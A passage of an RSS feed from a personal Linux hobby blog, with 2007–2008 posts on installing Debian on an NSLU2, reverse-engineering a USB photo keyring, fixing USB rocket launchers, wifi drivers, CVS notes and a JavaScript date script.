After that it was easy to connect change the IP address and start again, I even wrote a <a href="http://www.nslu2-linux.org/wiki/FAQ/CantConnectToMyNewOutOfTheBoxOriginalFirmwareNSLU2">wiki page</a> it was so arduous.
Soooo follow <a href="http://www.cyrius.com/debian/nslu2/install.html">debian install instructions</a> and get the firmware updated, easy.
Next step run installer via ssh and partition microdrive. Well the ssh was painful, I tried gnome-terminal,xterm,aterm,mrxvt but it was only konsole that handled the menu characters over ssh.
Then the partitioning, the drive was visible and I selected how I wanted it partitioned then FAIL can not read from drive, odd as it worked on my gentoo box.
Tried a few things, then gave up and used a USB flash drive, ssh disconnected FAIL
There are work arounds for this but I decided to cheat, I repartitioned the flash drive in gentoo then skipped the partitioning in the Debian installer and set it on its merry way, guide said 2 and half hours.
8 hours later it was asking if I wanted to continue, doh! my manual intervention had pulled it out of its default install cycle, it wanted loads of decisions made (all the defaults).
But eventually it worked, ssh'd in and plugged in the microdrive (the slug has two USB slots) worked fine, so I copied all directories to the microdrive and then rebooted ... FAIL
The initrd (and the Debian install flash) for some reason do not have what ever it is that is needed to mount the microdrive :(
I could rebuild the kernel or the initrd but in the end I have decided to sacrifice the flash drive and now have a spare microdrive ...
PHEW
</description>
</item>
<item>
<title>LUG February fun</title>
<pubDate>Sun, 17 Feb 2008 21:31:10 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2008.html#170220082131</link>
<description>
This months LUG was good, mike brought his touch screen epos terminal and we had fun trying to get X to handle the touch screen.
David brought his PC to demonstrate two systems he has created, one is multi drive disk ripper with play list manipulator and player all built in BASH.
But the other project was a python server client model remote presentations system with openGL 3D !
A client machine connect via Ethernet sends commands to a server that displays the contents, including images and text (with auto formating). The text is displayed in 3D and he has plans for many transitions, at the moment there is just an excellerating slide.
All very impressive, and I took my <a href="http://images.google.co.uk/images?svnum=10&um=1&hl=en&q=usb+missile+launcher+grey&btnG=Search+Images">grey missile launcher</a> and shot people ;)
</description>
</item>
<item>
<title>prepare for the coming of a new star</title>
<pubDate>Mon, 11 Feb 2008 22:39:16 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2008.html#110220082239</link>
<description>
Speaking of stars, a new one is coming soon ;)
That is of course if I get the time to complete it ...
</description>
</item>
<item>
<title>50 mario galaxy stars 200 to go</title>
<pubDate>Mon, 11 Feb 2008 22:37:24 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2008.html#110220082237</link>
<description>
50 stars in Mario Galaxy. Only 200 to go :)
Needless to say I have putting in any spare time into this VERY addictive game.
</description>
</item>
<item>
<title>27 stars Mario Galaxy</title>
<pubDate>Tue, 05 Feb 2008 23:00:26 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2008.html#050220082300</link>
<description>
27 stars in Mario Galaxy, which is not bad considering I am only playing it 30 mins every other night.
</description>
</item>
<item>
<title>krum upload a success almost</title>
<pubDate>Tue, 05 Feb 2008 22:57:30 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2008.html#050220082257</link>
<description>
After some other bit fiddling I have managed to get images on to the keyring !
<img src="krum_corrupt.jpg" alt="krum images corrupt" />
Notice the back and white image works fine but the colour images are corrupted.
The bottom two are the same data so the corruption is not in the data but in the process...
<img src="krum_tests.jpg" alt="krum test images" />
I am considering the vast amount of debug data I generate is slowing krum down enough to cause these problems but why does the black and white image always work ?
To get the images on to the keyring I currently use image magick to convert a flat .xcf file to .ppm (-compression none) which gives me a ascii file and a bit of awk'ing and I get the byte data formated so I can drop it into the krum header file.
When I am ready to use an image library it will just require me to load the data in 3 bytes per pixel, krum then converts it to two bytes per pixel.
</description>
</item>
<item>
<title>bad c</title>
<pubDate>Mon, 04 Feb 2008 23:33:29 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2008.html#040220082333</link>
<description>
seems 0x11110000 is not a binary value in c, whoops thats half my problems, now something is overwriting memory. 0x00 0xF0 everywhere ...
</description>
</item>
<item>
<title>data uploaded to device</title>
<pubDate>Sun, 03 Feb 2008 21:50:09 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Feb2008.html#030220082150</link>
<description>
Quick krum update, I have managed to upload some data onto the device !!
I say data because its does not look much like the image I started with, but it does have some characteristics so there is still hope.
It is quite mind numbing looking at pages and pages of hex URB USB data or screens full of my hex debug data ...
</description>
</item>
<item>
<title>a little toque goes a long way</title>
<pubDate>Mon, 21 Jan 2008 21:16:24 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2008.html#210120082116</link>
<description>
Maybe I should mentioned that one of the screws in the rocket launcher is a rivet and I spent the most time carefully pulling the barrel apart very carefully.
Slow and steady one the race with the plastic bending rather than shattering and then going back quite nicely afterwards.
The screws them selves were VERY tough to turn, so may the toque be with you.
</description>
</item>
<item>
<title>Cannon dissassembly</title>
<pubDate>Mon, 21 Jan 2008 21:11:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2008.html#210120082111</link>
<description>
Servers were down at work so I offered to fix my colleagues <a href="http://www.dreamcheeky.com/index.php?pagename=product&pid=5">USB rocket launcher</a>.
At first I thought it was software so I tried <a href="http://www.antmason.com/wiki/index.php/SharpLauncher">Sharp Launcher</a> but it had the same problem, would move but would not fire.
So I got permission to disassemble the unit looking for loose wires ( I had found one in a non-functioning <a href="http://images.google.co.uk/images?svnum=10&um=1&hl=en&q=usb+missile+launcher+grey&btnG=Search+Images">Classic grey USB missile launchers</a> and a quick solder had fixed it).
32 screws came out 27 went back in, but I did find the culprit, a mini motor deep in the firing mechanism (highlighted in last image).
A quick twiddle (technical term for twisting it for no good reason other than there was nothing else to try) and it was fixed. Surprisingly quick to put back together.
<a href="http://www.pay4foss.org/jumpstation/dreamcheeky_cannon.jpg"><img alt="cannon disassembly" src="/flog/thumbs/dreamcheeky_cannon_thumb.jpg"></img></a>
</description>
</item>
<item>
<title>1and1 are good</title>
<pubDate>Sat, 12 Jan 2008 22:19:41 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2008.html#120120082219</link>
<description>
You may have seen the banner
<a href="http://pay4foss.org"><img src="http://pay4foss.org/pay4foss_bar.png" border="0" alt="[Pay4Foss banner long]"></a>
 that accompanies my flog postings, what you might not realise is that I created it sometime ago and it currently receives an average of 600 unique IP hits a month.
(I was unaware of the statistics until) I got an odd email from the hosting company <a href="http://www.1and1.co.uk/?k_id=8343118">1and1.co.uk</a> who I had found very good.
The email noted I had received a &pound;25 affiliate referral for a single order placed via the link at the bottom of the page!
So not only are 1and1 cheap, easy to use, have great online management and statistical tools but you can make money FROM them!
</description>
</item>
<item>
<title>flog yearly update completed</title>
<pubDate>Sat, 12 Jan 2008 22:04:50 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2008.html#120120082204</link>
<description>
It is as badly put together as previous years but the yearly summary is ready and the archives have been updated.
<a href="/flog/archive.html">/flog/archive.html</a>
<a href="/flog/year2007.html">/flog/year2007.html</a>
(mainly for my reference)
</description>
</item>
<item>
<title>name a star scam</title>
<pubDate>Sat, 12 Jan 2008 21:56:53 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2008.html#120120082156</link>
<description>
&lt;rand&gt;I got a few http://www.whsmith.co.uk/ vouchers for xmas and could not find anything I wanted, no DVDs and Mario Galaxy is not out yet.
Oh, and you can not use the vouchers on line even though they are in the form of magnetic card(i.e. unique ID).
But then I found <a href="http://www.whsmith.co.uk/CatalogAndSearch/ProductDetails-Name+A+Star-32801408.html">&quot; name a star &quot;</a>
<code>Gift Pack Contents: Welcome letter, An explanation of the gift, Star naming instructions, Unique information about your star, A guide on how to locate your star, Star & astronomy booklet, Presentation certificate, Personalisation pen, Presented in a luxury metal gift tin.</code>
So keeps referring to "your star" even though you never own it other than in this Gift Republic database.
<code>Naming your star is easy; you can either complete the process online or fill in and return the lower section of your Star Registration Form. You are required to enter your star name, your contact and delivery details. This is then entered into the Star Registry and you are sent a certificate confirming your star registration. This information will then be periodically submitted to the British Library. </code>
The "Star registry"! wow and the British library, sounds all official. Except the "Star registry" is not official and is only for Gift Republic's use. Oh and British library bit, all publications are held by the British library.
<code>Your gift code expires 12 months after the date of purchase so you have 12 months in which to register your gift.</code>
This is only hint that this item is a novelty item.
<code>Only a small number of stars in our sky actually have names allocated to them; the majority are nameless and are distinguished by their catalogue number only.</code>
And its going to stay that way, no astronoma wants to refer to "Aunt Bea's star".<a href="http://enzerink.net/peter/astronomy/starfaq/#four">more</a>
Thats the information on http://www.whsmith.co.uk/ but a bit of searching gets you the company behind this
http://www.giftrepublic.co.uk/Product.aspx?ProdID=STARGIFTPACK
<code>This touching gift gives the recipient the opportunity to choose a name for one of these nameless stars. Once registered, their star name will be submitted to the British Library.</code>
Translation: we will save your submitted name to our database and print a long list of its contents which periodically gets sent to the British library.
<code>Only a small number of stars in our sky actually have names allocated to them; the majority are nameless and are distinguished by their catalogue number only.</code> 
And only <a href="http://www.iau.org/">International Astronomical Union</a> has any official capacity to name them !
<code>Your gift box contains the details of one of these unnamed stars that is ready for naming by you.</code>
Translation: By unnamed we mean not saved in out personal database but could be named in any <a href="http://www.google.co.uk/search?hl=en&q=name+a+star&btnG=Google+Search">other database</a>.
<code>    * A touching gift idea 'a star named after you for eternity'</code>
But only because the British library is keeping every publication as it is a <a href="http://en.wikipedia.org/wiki/Legal_deposit">Legal deposit library</a>, they receive over 3 million publications a year.
<code>FAQ's
Can I call my star anything I choose?
Yes, there are no restrictions with star name choice.</code>
Translation: Our database can accept any characters you send us, [even SQL injections  ?!]
So no where do they make clear this is Novelty item ONLY and not in ANY shape or form official.
SCAM SCAM SCAM! 
I understand that some people if informed this was a novelty gift ONLY would not mind, but I am sure many many are disappointed that no stars are ever named after them.
http://www.wired.com/techbiz/media/news/2001/12/49345
http://www.iau.org/
http://www.iau.org/BUYING_STAR_NAMES.244.0.html
http://enzerink.net/peter/astronomy/starfaq/
Oh and hate to disappoint you but that moon and mars mineral rights certificate is worth less thatn the paper it was printed on.
http://www.theregister.co.uk/2006/12/08/nasa_real_estate/
SCAM SCAM SCAM! &lt;/rant&gt;
</description>
</item>
<item>
<title>flog now has previous and next</title>
<pubDate>Fri, 11 Jan 2008 19:38:47 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2008.html#110120081938</link>
<description>
I may be failing to complete a few other tasks, but flog now has &lt;&lt&;lt&lt; previous and &gt;&gt;&gt;&gt; next links on every page !
No small feat considering there is no database running flog just loads of static files.
I considered writing a perl or C# program to do the work but in the end it was a collecting of bash scripts that processed every flog page and added the links.
Now to do the archive, yearly summary, linux pub quiz 2 and normal flogging...
</description>
</item>
<item>
<title>binary spam</title>
<pubDate>Sat, 05 Jan 2008 10:05:16 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2008.html#050120081005</link>
<description>
was going to note how my email trash folder had 101101 unread items but clicking on it downloaded another 8(8 auto trashed emails in 4 minutes).
Total Trash emails is 112593 with spam assassin claiming another 53677, unsurprisingly clicking on either folder locks kmail up or a few mins.
Time for a clear out me thinks.
I get about 150 emails a day that are not auto filtered either by my black lists or spam assassin but most end up in my "likely to be spam folder".
</description>
</item>
<item>
<title>nappy new fear !</title>
<pubDate>Tue, 01 Jan 2008 21:27:42 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jan2008.html#010120082127</link>
<description>
Happy new YEAR! 
no blogging due to even more illness/nesses, none of them mine.
Still I got what I wanted for Christmas, just like the common Xmas carol goes &quot;All I want for Christmas is light saber, light saber, light saber&quot;
mmmm <a href="http://images.google.co.uk/images?gbv=2&svnum=10&hl=en&q=darth+maul+light+saber+single&btnG=Search+Images">red</a>
Plus various other stuff, but it all pales in comparison to a <a href="http://images.google.co.uk/images?gbv=2&svnum=10&hl=en&q=darth+maul+light+saber+single&btnG=Search+Images">light saber</a> I can finally call my own.
Many have questioned the practicality of owning a <a href="http://images.google.co.uk/images?gbv=2&svnum=10&hl=en&q=darth+maul+light+saber+single&btnG=Search+Images">light saber</a>, even a red one, but what do they know !?
http://www.youtube.com/results?search_query=lightsaber+replica&search=Search
</description>
</item>
<item>
<title>poldu wifi PCMCIA</title>
<pubDate>Sun, 23 Dec 2007 21:27:09 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2007.html#231220072127</link>
<description>
My <a href="http://www.jumpstation.co.uk/flog/Dec2007.html#051220072146">recovered laptop</a> has wifi in PCMCIA form, but Ubuntu was not finding it ...
<code>dmesg</code>
Nothing, the hardware is not being claimed by any drivers.
<code>lspcmcia</code>
Hmmm, there is something there but is quoted as [no driver]
<code>pccardctl info</code>
Ooo, amongst other things is PRODID_2="3CRWE62092A Wireless LAN PC Card"
Just double check nothing is working with this.
<code>ifconfig -a</code>
nope
<code>iwconfig</code>
nope
googling the 3CRWE62092A string got me http://www.xs4all.nl/~bvermeul/swallow/ but it would not build.
I even tried fixing the MANY errors, but after a few days I found the kernel changelog had VASTLY updated the PCMCIA interface code and this was a lost cause :(
One thing I had noticed was the chipset name poldhu and quick google of this got me http://sourceforge.net/projects/poldhu/ which was being updated regularly and built and installed first time no problem !
<code>
make
sudo make install
sudo modprobe poldhu_cs
ifconfig *blah*
iwconfig *blah*
dhclient
</code>
connected !
</description>
</item>
<item>
<title>gimp render nature flame background</title>
<pubDate>Sun, 23 Dec 2007 21:12:50 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2007.html#231220072112</link>
<description>
http://www.gimp.org/ has some wonderful tools if you look hard enough.
In just 2-5 mins I created each one of these
<a href="http://www.pay4foss.org/jumpstation/bg_flm1.png"><img alt="background1 src="/flog/thumbs/bg_flm1_thumb.png"></img></a>
<a href="http://www.pay4foss.org/jumpstation/bg_flm2.png"><img alt="background2 src="/flog/thumbs/bg_flm2_thumb.png"></img></a>
<a href="http://www.pay4foss.org/jumpstation/bg_flm3.png"><img alt="background3 src="/flog/thumbs/bg_flm3_thumb.png"></img></a>
<a href="http://www.pay4foss.org/jumpstation/bg_flm4.png"><img alt="background4 src="/flog/thumbs/bg_flm4_thumb.png"></img></a>
The process is very easy;
:Create a new image of the size of your desktop i.e. 1024x768
:select a foreground and background colour.
:Use the gradient fill tool to fill the entire page.
:Repeat step two but select new colours
:goto /filters/render/nature/flame
:use the Edit and Camera options to make adjustments click on OK wait 20seconds to a couple of minutes and save your new background.
If you look closely at my backgrounds you can see I did use some minor edits to enhance the image but the options are limitless.
<a href="http://gentoo-wiki.com/TIP_GIMP_Fractal_Backgrounds">Gentoo users gallery</a>
Windows users can use the windows version of GIMP to achieve the same results.
</description>
</item>
<item>
<title>icey stalagmites</title>
<pubDate>Sun, 23 Dec 2007 20:59:06 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2007.html#231220072059</link>
<description>
Last Wednesday it was VERY cold Brrrrr and after walking the train station to find all the trains canceled I came home to find this in the garden. 
<a href="http://www.pay4foss.org/jumpstation/ice_staligmites.jpg"><img alt="ice stalagmite" src="/flog/thumbs/ice_staligmites_thumb.jpg"></a>
They were on an upturned plastic table that as you can see had a set of 'cells' were iced formed. I have never seen this before.
Explained by <a href="http://www.newscientist.com/backpage.ns?id=mg19025472.100">New Scientist</a>
</description>
</item>
<item>
<title>Very cheap USB rocket launcher</title>
<pubDate>Sun, 23 Dec 2007 20:51:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2007.html#231220072051</link>
<description>
After an interesting <a href="http://en.wikipedia.org/wiki/Secret_Santa">Thieving Secret Santa</a> at work that lost me a <a href="http://images.google.co.uk/images?hl=en&q=dream+cheeky+circus+cannon&btnG=Search+Images&gbv=2">USB rocket launcher</a> I quizzed the guy who bought it to find Woolworth were selling them for just &pound;9.99 !
I could not find any but asking the person behind the counter got me one from the stores.
The box was cellotaped badly, but all the bits were in there and that is how the other one was presented at work.
Plugged it in to Linux after hear bad things about its windows software, ran <code>dmesg</code> and got the manufacture and model numbers as 1941:8021 googled those and got to http://www.fatal.se/fulhack/ahmissile/ a quick ./configure, make, make install and ahmissile brought up a basic window with eight directions, clicked on one and it worked !
After moving around all over the place I tried the fire, a strange mechanical noise ran for 3-4 seconds then POP! the little lady(these missile are of the female variety) shot off.
Great fun and the author is really friendly, always a plus.
Just think for &pound100 I could get another ten !!
</description>
</item>
<item>
<title>gur bgure grnz vf purngvat</title>
<pubDate>Thu, 20 Dec 2007 10:14:36 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2007.html#201220071014</link>
<description>
gur bgure grnz vf purngvat
</description>
</item>
<item>
<title>krum-bly</title>
<pubDate>Thu, 20 Dec 2007 10:08:36 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2007.html#201220071008</link>
<description>
krum has been out of sight and out of mind recently, but I will turn back to its sweet siren song soon ...
</description>
</item>
<item>
<title>Linux pub quiz version 2.0</title>
<pubDate>Wed, 19 Dec 2007 22:44:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2007.html#191220072244</link>
<description>
The lug Xmas part night was slightly low on numbers, but there were just enough for five L0Z3rs(the losers) and five Lamers(the winners).
After the last <a href="http://www.jumpstation.co.uk/linux/pubquiz.html">pub quiz</a> I decided to 'up' the fun factor(though some noted I also 'upped' the evil and bizzare factors).
There was my usual random of random opensource/linux themed <a href="http://www.jumpstation.co.uk/linux/pubquiz2.html">questions</a> (I promise to write them up soon) ranging from RMS and Linus's middle names to hack outlook passwords, through RSI recovery and a revisit to a couple of old favorites from the <a href="http://www.jumpstation.co.uk/linux/pubquiz.html">last quiz</a>.
There was also programming in swears, the lack of identification of the essential <a href="http://www.methylblue.com/filelight/">filelight</a>, decoding secret messages, matching <a href="http://www.oreilly.com/">O'Reilly</a> titles to covers, drawing <a href="http://www.home.unix-ag.org/simon/penguin/">tux</a> in an extremely short time frame and other silliness.
I had hoped to write a new <a href="http://www.jumpstation.co.uk/linux/score.html">score board system</a> but never had the time :(
We missed out the mime round due to time constraints, but overall everyone had a good time and there was lots of food and some (slightly) better prizes this year.
The only two questions remain, how do you mime "firefox" and did David actually make a more accurate guess on the lug meeting place latitude/longitude ?
Final scores were 33 - 31, with may mad collection of guess the closest number rounds to hand out the individual presents. My spam quota got vastly under estimated , guesses were between 1-20 , whereas the answer was 230 (spam not captured by spam assassin for that day).
OK, one more question, how am I going to top this quiz for next year ?
Maybe I just need to build a flashier <a href="http://www.jumpstation.co.uk/linux/score.html">score board</a> and recycle the questions :)
</description>
</item>
<item>
<title>Posted a day late spiderman visits london</title>
<pubDate>Wed, 19 Dec 2007 22:08:14 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2007.html#191220072208</link>
<description>
<a href="http://www.alainrobert.com/">Alain Robert</a> aka spiderman made an appearance at Portland house this morning.
We noticed him doing warm up exercises three floors up on the roof connecting to our building, before he disappeared around to the front face of the building and started climbing its remaining twenty+ stories completely unaided.
He took just under 40mins with plenty of rest stops so he could;
take a phone call
drink coffee (from a thermos)
powder his hands (did this for every story reached)
pose for photographers
and wave to the crowed
Apparently he was doing the climb to raise awareness of global warming, but we could not read his shirt.
For his trouble he was <a href="http://www.timesonline.co.uk/tol/news/uk/article3068969.ece">arrested</a> for criminal damage and wasting police time.
The police spent most of the time pushing the crowd further and further back incase &quot;the wind carried his body&quot;, which suited us fine as it was a good excuse for being unable to get back in the office.
<a href="http://en.wikipedia.org/wiki/Alain_Robert">wikipedia article on Alain Robert</a>.
</description>
</item>
<item>
<title>Random blog train update</title>
<pubDate>Wed, 19 Dec 2007 21:51:13 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2007.html#191220072151</link>
<description>
The blog train was stationed in &quot;<a href="http://www.jumpstation.co.uk/linux/pubquiz2.html">Linux pub quiz valley</a>&quot;, but then got stuck at &quot;Escalating family illnesses junction&quot; with guaranteed zero sleep.
The overnight express now offers &quot;up-to&quot; three hours per night, but at least the train is moving.
</description>
</item>
<item>
<title>ubuntu hates me</title>
<pubDate>Wed, 05 Dec 2007 21:46:24 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Dec2007.html#051220072146</link>
<description>
Sarah finally gave back my laptop from 8 years ago but it has XP on it so...
backup windows data, defrag, insert ubuntu 7.10 desktop CD, reboot select default option wait ages get a black screen with coloured strips down either side.CTRL+ALT+F1 and get console, CTRL+ALT+F7 and get ubuntu desktop. 
As I did not need anything else I started the install, seemed quite slow but then it was running 'live' off the CD. Got to the disk partitioning section and got a message "starting the partitioner" then nothing. The CD was thrashing so left a short while before switching to console CTRL+ALT+F1, this switch took about 20 seconds. Then I tried to run <code>dmesg</code> but the keyboard echo was at least 20 seconds per hit. Eventually dmesg ran and I could see all sorts of SQUASHFS errors.
At this point I could not even CTRL+ALT+DEL so I pulled the power, then I booted up again this time I choose the VGA boot option thinking I might have a better experience. Not quite, I got black and green stripes of ascii characters and switching to console and back did not fix it.
Hmmm, maybe I am missing something, so I google around for a while and determine that laptops often have problems with power management so after booting up and selecting the CD defect check and after it reported none, I edited the command line to have <code>acpi=off and noapic</code>. Well it booted into the desktop without issue but this time I had a sniff around what ubuntu could see of my windows disk, all seemed fine so I tried the install from the desktop again, this time I did not even get to select my keyboard layout before the CD was screaming and the machine became completely unresponsive...
Time to try something new, I burnt a copy of the alternate install ubuntu 7.10 disk and ran that, this time everything is in a console window and after about an hour of answering yes to all the questions I had ubuntu installed dual booting with windows.
</description>
</item>
<item>
<title>javascript and the vanishing Feb</title>
<pubDate>Thu, 29 Nov 2007 21:47:37 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2007.html#291120072147</link>
<description>
If you use firefox then you need this http://www.squarefree.com/shell/ (drag onto firefoxes toolbar to install)
Now this means you can execute JavaScript in the context of the browser/web page, loads of fun, but you can also just test scripts out like...
<code>for (var i=0;i&lt;12;i++) { d=new Date(); d.setMonth(i); print(d.getMonth()); }</code>
(If you want, you can change 'print' for 'alert' and run it in your browsers address bar).
This produces
<code>0
2
2
3
4
5
6
7
8
9
10
11</code>
Notice the missing 1, but
<code>for (var i=0;i&lt;12;i++) { d=new Date(); d.setDate(1); d.setMonth(i); print(d.getMonth()); }</code>
Gives
<code> 0
1
2
3
4
5
6
7
8
9
10
11</code>
The only difference is the month date is set to 1 before the month itself is set and yes JavaScript uses 0 for Jan and 11 for Dec.
P.s. setting the year first made no difference.
</description>
</item>
<item>
<title>Hate Internet Explorer so hack it</title>
<pubDate>Wed, 28 Nov 2007 22:24:18 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2007.html#281120072224</link>
<description>
Don't you just hate it when Internet Explorer works the same as FireFox? Let me clarify, its IE7 and the page I had been developing had some pretty hairy CSS worked in FF and after some very minor tweaks worked exactly the same in IE7, job done.
Well, not quite cos the test team started coming back with all sorts of odd display issues, turns out they were using IE6. Now the sensible thing to do here is use CSS conditional comments ... but I can not alter the HTML of the page and all the CSS hacks I could find targeted IE not &lt; IE7.
But, I could add javascript so I ended up writing my own browser detection script that dynamically generated the CSS if the browser was an IE version lower than 7, works but ... its not nice.
P.S. Conditional comments do not work in CSS or JS only HTML.
</description>
</item>
<item>
<title>LevelHead an augmented reality game open source</title>
<pubDate>Wed, 28 Nov 2007 22:13:10 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2007.html#281120072213</link>
<description>
On its own this is pretty amazing but then you find out the creator wants to release it all as open source with PDF printable cubes !
http://julianoliver.com/levelhead
Expect sales of eye-toys to go through the roof on ebay.
</description>
</item>
<item>
<title>krum dum dum</title>
<pubDate>Mon, 19 Nov 2007 21:32:43 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2007.html#191120072132</link>
<description>
I checked into the snoopypro code following my <a href="http://www.jumpstation.co.uk/flog/Nov2007.html#101120071053">little embarrassment</a> and there is a hard coded 8 that I changed to 16 and now it shows all 16 bytes !
On top of that I have been going through the upload captures and it looks totally doable, easy but quite time consuming ... stay tuned ...
</description>
</item>
<item>
<title>CVS krum notes</title>
<pubDate>Sun, 11 Nov 2007 16:26:15 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2007.html#111120071626</link>
<description>
I have finally committed krum to sourceforge CVS, as I always forget the steps here are some notes.
CVS basic initialisation of a project.
setup a ssh key as described in the sourceforge <a href="http://sourceforge.net/docman/display_doc.php?docid=761&group_id=1">documention</a>
Create a local development environment that will be the cvs data, usually just the source code and build instructions.
<code>mkdir krum
cp krum.c krum
cp writebackbuffer.h krum
cd krum
cvs -d :ext:icedgreen@krum.cvs.sourceforge.net:/cvsroot/krum import -m "initial cvs dump" krum icedgreen start
cd ..
mv krum krum_cvs_source
cvs -d :ext:icedgreen@krum.cvs.sourceforge.net:/cvsroot/krum checkout krum   
cd krum</code>
edit file
<code>cvs commit -m "my change was"</code>
(can add file name or intelegent choice is made)
Previously I had used windows gui base cvs programs for
<a href="http://sourceforge.net/projects/toast4messenger">toast4messenger</a>
<a href="http://sourceforge.net/projects/topblock">topBlock [windows]</a>
Skipped the whole CVS issue for <a href="http://saltshaker.sf.net">saltshaker</a>
</description>
</item>
<item>
<title>saltshaker updated to avoid strict python</title>
<pubDate>Sun, 11 Nov 2007 16:18:16 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2007.html#111120071618</link>
<description>
Thanks to naruto canada saltshaker has been update to avoid strict python interpretors and random triangles :)
</description>
</item>
<item>
<title>JWZ mixtape insanity</title>
<pubDate>Sat, 10 Nov 2007 10:57:40 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2007.html#101120071057</link>
<description>
<a href="http://cerebrum.dnalounge.com/mixtapes/">insanity</a> curtesy of <a href="http://jwz.livejournal.com/">JWZ</a>.
number 003 is particualy good, but heavily themed, expect swearing in some.
</description>
</item>
<item>
<title>krum what went wrong</title>
<pubDate>Sat, 10 Nov 2007 10:53:17 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2007.html#101120071053</link>
<description>
So what went wrong with krum ? It was leaving the machine is a <a href="http://www.jumpstation.co.uk/flog/Sep2007.html#030920072113">strange state</a>.
If you remember I <a href="http://www.jumpstation.co.uk/flog/Jul2007.html#240720072107">hacked</a> at <a href="http://sourceforge.net/projects/usbsnoop/">snoopypro</a> to give myself a few helpful changes.
My favorite enhancement was a text dump mode and update to the existing xml dump, allowing me to review the pertinent data captured in a text editor or filter it with grep.
What I failed to notice was that for some reason the text dump only included the first eight bytes of any sixteen byte data captures, though mysteriously the xml does.
So this means for the most part nothing, the functionality for getting the number of images on the device never uses more that two bytes in any single transaction, but the delete uses a large write back buffer.
This write back buffer was careful encoded by me but of course was eight bytes short for EVERY single transaction of which there are 70+.
Took a long time to work this out, but from now on I will be using the XML dumps and ignoring the text ones.
Every cloud has a silver lining, the fact the the devices settings/functionality was changed makes me wonder what else could be changed ... that is definitely a job after the main part of this project is completed.
</description>
</item>
<item>
<title>krum lives - unstable state no more</title>
<pubDate>Sat, 03 Nov 2007 22:32:01 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Nov2007.html#031120072232</link>
<description>
[pant][pant] ... krum ... is alIVE !!
I have fixed the unstable state issue when deleting images.
Details will follow when I have sometime.
</description>
</item>
<item>
<title>UPS saves day again</title>
<pubDate>Thu, 25 Oct 2007 13:17:03 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2007.html#251020071317</link>
<description>
UPS saves the day (again), we had yet another random power cut that only lasted two minutes and my cheap UPS made sure the machine never lost power !
</description>
</item>
<item>
<title>LUG date javascript fix</title>
<pubDate>Wed, 24 Oct 2007 21:55:01 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2007.html#241020072155</link>
<description>
the LUG home page needs to show the correct date unfortunately this has been affected by human error so I knocked up a javascript fix.
Has the small problem that if the date on the users machine is wrong then it is calculated wrong, still could be basis for either another program perl etc or for someone to check their human interpretation.
<code>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
&lt;html&gt;
   &lt;head&gt;
         &lt;title&gt;&lt;/title&gt;
         &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&gt;
         &lt;script&gt;
	 function update() {
	     var dat = new Date();
	     var secondWednesday =getSecondWednesday(dat);
	     var result="";
	     if (secondWednesday&lt;dat.getDate()) {
	         // add a month
		 dat.setMonth(dat.getMonth()+1);
		 secondWednesday = getSecondWednesday(dat);
		 result="its happening on the " + secondWednesday + nice(secondWednesday) + " of next month";
		 } else if (secondWednesday==dat.getDate()) {
	             // aghh its today !!
		     result="AGHhhhh...! its today! the " + secondWednesday +  nice(secondWednesday);
		 } else {
		     // its later this month
		     result="its happening on the " + secondWednesday + nice(secondWednesday) +  " of this month";
   	     }
             document.getElementById("dat").innerHTML = result;
         }
	         
         // get the second Wednesday for the month in the date supplied
         function getSecondWednesday(dat) {
             var wednesdays = new Array();
             var tryDate;
             for (var d=1;d&lt;=31;d++) {
                 tryDate = new Date(dat);
		 tryDate.setDate(d);
		 if (tryDate.getDay()==3) {
		     wednesdays[wednesdays.length]=d;
		     d+=6; // add 6 as for will add 1 making one week
		 }
	     }
	     return(wednesdays[1]);
	 }
        
        // return st nd rd th for month day 'niceness'
        function nice(md) {
            switch(md) {
                case 1:
                case 21:
                case 31: return("st");
                case 2:
                case 22: return("nd");
                case 3:
                case 23: return("rd");
                default : return("th");
            }
        }
        &lt;/script&gt;
    &lt;/head&gt;
    &lt;body onload="update();"&gt;
       begin &lt;br /&gt;
       &lt;div id='dat'&gt;Javascript is disabled, please guess date yourself.&lt;/div&gt;
       end
    &lt;/body&gt;
&lt;/html&gt;</code>
 http://www.jumpstation.co.uk/misc/jsdat.html
